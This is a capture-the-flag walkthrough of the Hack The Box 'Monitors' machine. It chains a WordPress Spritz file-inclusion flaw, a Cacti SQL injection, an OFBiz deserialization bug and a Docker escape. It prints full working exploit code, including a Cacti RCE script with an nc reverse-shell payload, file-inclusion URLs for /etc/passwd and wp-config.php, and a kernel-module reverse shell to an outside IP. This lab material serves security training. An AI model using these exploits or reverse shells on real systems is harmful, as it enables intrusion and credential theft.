CTF Walkthroughs, Hack The Box

Hack The Box – Monitors Walkthrough

Introduction

This was a hard Linux machine that required to abuse local file inclusion to access and exploit a vulnerable Cacti web application in order to gain a foothold, leverage a deserialization vulnerability affecting Apache Ofbiz and breaking out of a docker container to obtain full access.

Enumeration

The first thing to do is to run a TCP Nmap scan against the 1000 most common ports, and using the following flags:

  • -sC to run default scripts
  • -sV to enumerate applications versions

The scan has identified port 22 (SSH) and port 80 (HTTP) as open. The next step will be to start enumerating these services.

Enumerating HTTP

Accessing the web server directly displays the following error, which mentions contacting admin@monitors.htb:

Adding this newly found domain to the /etc/hosts file:

The site can now be accessed and it appears to be a WordPress installation:

Running WPScan against the target machine with the following flags:

  • –url to specify the URL for the Wordrpess application, in this case http://10.0.0.101:12380/blogblog/
  • -e to specify the elements to enumerate, in this case, ap for all plugins, at for all themes, tt for timthumbs, cb for config backups, dbe for database exports, u for users and m for media
  • –plugins-detection aggressive, to enumerate all known plugins

An unusual “Spritz” plugin is found:

When using SearchSploit to look for known vulnerabilities affecting the plugin, a local file inclusion is found:

Mirroring the exploit:

The vulnerable endpoint appears to be “wp.spritz.content.filter.php”, specifically the “URL” parameter:

# Exploit Title: WordPress Plugin WP with Spritz 1.0 - Remote File Inclusion
# Date: 2018-04-25
# Exploit Author: Wadeek
# Software Link: https://downloads.wordpress.org/plugin/wp-with-spritz.zip
# Software Version: 1.0
# Google Dork: intitle:("Spritz Login Success") AND inurl:("wp-with-spritz/wp.spritz.login.success.html")
# Tested on: Apache2 with PHP 7 on Linux
# Category: webapps


1. Version Disclosure

/wp-content/plugins/wp-with-spritz/readme.txt

2. Source Code

if(isset($_GET['url'])){
$content=file_get_contents($_GET['url']);

3. Proof of Concept

/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd
/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://domain/exec
            

Using the proof of concept in the exploit allows to extract the contents of the /etc/passwd file:

http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd

Exploiting Spritz Local File Inclusion

Through the same payload used above, the contents of the wp-config.php file can be extracted, revealing database credentials:

http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../wp-config.php

HackTricks has a list of common LFI files that can be tried on Linux systems, this can then be used with Burp Intruder to automate the discovery process:

https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi-linux-list

Saving the list to a local file:

Intercepting the LFI request with Burp Suite:

Sending it to Intruder and selecting the contents of the “URL” parameter to be fuzzed:

Using runtime file as payload and selecting the LFI list created earlier:

it appears that the /etc/apache2/sites-enabled/000-default.conf fille has a host entry for cacti-admin.monitors.htb

Adding it to the /etc/hosts file:

This allows to access the Cacti web application:

The default username for it appears to be Admin:

Since the default password did not work, trying with the MySQL password found earlier through LFI:

The password appeared to had been reused in the Cacti application:

The running version of Cacti seems to be 1.2.12:

It appears to be affected by an SQL injection/remote code execution vulnerability:

Exploiting Cacti SQL Injection/RCE

Mirroring the exploit:

The exploit abuses the SQL injection affecting the “filter” parameter in the /cacti/color.php endpoint to inject and execute arbitrary code into the path_php_binary Cacti variable, which is normally set to the location of the PHP binary and allows to execute it in the context of the web application:

# Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution
# Date: 04/28/2021
# Exploit Author: Leonardo Paiva
# Vendor Homepage: https://www.cacti.net/
# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz
# Version: 1.2.12
# Tested on: Ubuntu 20.04
# CVE : CVE-2020-14295
# Credits: @M4yFly (https://twitter.com/M4yFly)
# References:
# https://github.commandcom/Cacti/cacti/issues/3622
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295

#!/usr/bin/python3

import argparse
import requests
import sys
import urllib.parse
from bs4 import BeautifulSoup

# proxies = {'http': 'http://127.0.0.1:8080'}


def login(url, username, password, session):
    print("[+] Connecting to the server...")
    get_token_request = session.get(url + "/cacti/index.php", timeout=5) #, proxies=proxies)

    print("[+] Retrieving CSRF token...")
    html_content = get_token_request.text
    soup = BeautifulSoup(html_content, 'html.parser')

    csrf_token = soup.find_all('input')[0].get('value').split(';')[0]

    if csrf_token:
        print(f"[+] Got CSRF token: {csrf_token}")
        print("[+] Trying to log in...")

        data = {
            '__csrf_magic': csrf_token,
            'action': 'login',
            'login_username': username,
            'login_password': password
        }

        login_request = session.post(url + "/cacti/index.php", data=data) #, proxies=proxies)
        if "Invalid User Name/Password Please Retype" in login_request.text:
            print("[-] Unable to log in. Check your credentials")
            sys.exit()
        else:
            print("[+] Successfully logged in!")
    else:
        print("[-] Unable to retrieve CSRF token!")
        sys.exit()


def exploit(lhost, lport, session):
    rshell = urllib.parse.quote(f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {lhost} {lport} >/tmp/f")
    payload = f"')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='{rshell};'+where+name='path_php_binary';--+-"

    exploit_request = session.get(url + f"/cacti/color.php?action=export&header=false&filter=1{payload}") #, proxies=proxies)

    print("\n[+] SQL Injection:")
    print(exploit_request.text)

    try:
        session.get(url + "/cacti/host.php?action=reindex", timeout=1) #, proxies=proxies)
    except Exception:
        pass

    print("[+] Check your nc listener!")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='[*] Cacti 1.2.12 - SQL Injection / Remote Code Execution')

    parser.add_argument('-t', metavar='<target/host URL>', help='target/host URL, example: http://192.168.15.58', required=True)
    parser.add_argument('-u', metavar='<user>', help='user to log in', required=True)
    parser.add_argument('-p', metavar='<password>', help="user's password", required=True)
    parser.add_argument('--lhost', metavar='<lhost>', help='your IP address', required=True)
    parser.add_argument('--lport', metavar='<lport>', help='your listening port', required=True)
    args = parser.parse_args()

    url = args.t
    username = args.u
    password = args.p
    lhost = args.lhost
    lport = args.lport

    session = requests.Session()

    login(url, username, password, session)
    exploit(lhost, lport, session)

The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on

Executing the exploit with the following flags:

  • -t, to specify the path to the target Cacti application
  • -u, to specify the username for the Cacti application
  • -p, to specify the password for the Cacti application
  • –lhost, to specify the local host where the shell callback should be performed
  • –lport, to specify the local port used in the listener

This has granted a reverse shell as the www-data user.

The following steps can be done to obtain an interactive shell:

  • Running “python -c ‘import pty; pty.spawn(“/bin/sh”)’” on the victim host
  • Hitting CTRL+Z to background the process and go back to the local host
  • Running “stty raw -echo” on the local host
  • Hitting “fg + ENTER” to go back to the reverse shell

Escalating to Marcus User

Transferring the LinPEAS enumeration script using Netcat:

Making it executable and running it:

The script reveals port 8443 is being used:

An interesting cacti-backup service was found:

The service file runs a backup script located in the home directory for the “Marcus” user, and it includes credentials.

Using the password to switch to Marcus:

Privilege Escalation

When inspecting the contents of the user’s home directory, a TXT file mentioning Docker is found:

Setting up a SSH local port forward to be able to access port 8443 (which was found earlier) from the Kali host:

ssh -f -N -L 8443:127.0.0.1:8443 marcus@10.10.10.238

Tomcat version 9.0.31 seems to be running on this port.

The next step is to run a scan to find hidden files or directories using Gobuster, with the following flags:

  • dir to specify the scan should be done against directories and files
  • -u to specify the target URL
  • -w to specify the word list to use
  • -x to specify the extensions to enumerate
  • -t to specify the number of concurrent threads
  • -k to ignore self-signed SSL certificates

When navigating to any of the results from above, it redirects to the following page, which is the Apache open source OFBiz system:

The current version of the software appears to be 17.12.01:

Searching for known exploits affecting the application that might grant remote code execution:

A GitHub repository containing instructions on how to exploit the CVE-2020-9496 deserialization vulnerability can be found:

Creating a Bash reverse shell script and setting up a Python Simple HTTP Server to host it:

Downloading the YSOSerial deserialization tool from its GitHub repository and creating the serialized payload that will download the shell:

The request was received:

Creating a subsequent payload that will execute the shell:

The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on

When sending the request, a root-level reverse shell is received:

Escaping Docker Container

When consulting the section on breaking out of Docker on HackTricks, it suggests looking for capabilities:

https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout

When printing capabilities, it appears CAP_SYS_MODULE is enabled

A kernel module that will execute a reverse shell can be created:

https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_sys_module

Creating the C reverse shell:

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.6/443 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
    printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

As well as the makefile for compilation:

obj-m +=reverse-shell.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Transferring the files to the target machine using the Python Simple HTTP Server and Wget:

Compiling them using make:

The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on

Using the insmod command to insert the module build above into the kernel, therefore executing the reverse shell:

This has finally granted root access over the target box.

Conclusion

I personally found this machine to be very challenging, there was no single part that was particularly difficult, although it required a lot of steps to gain root access and lots of enumeration.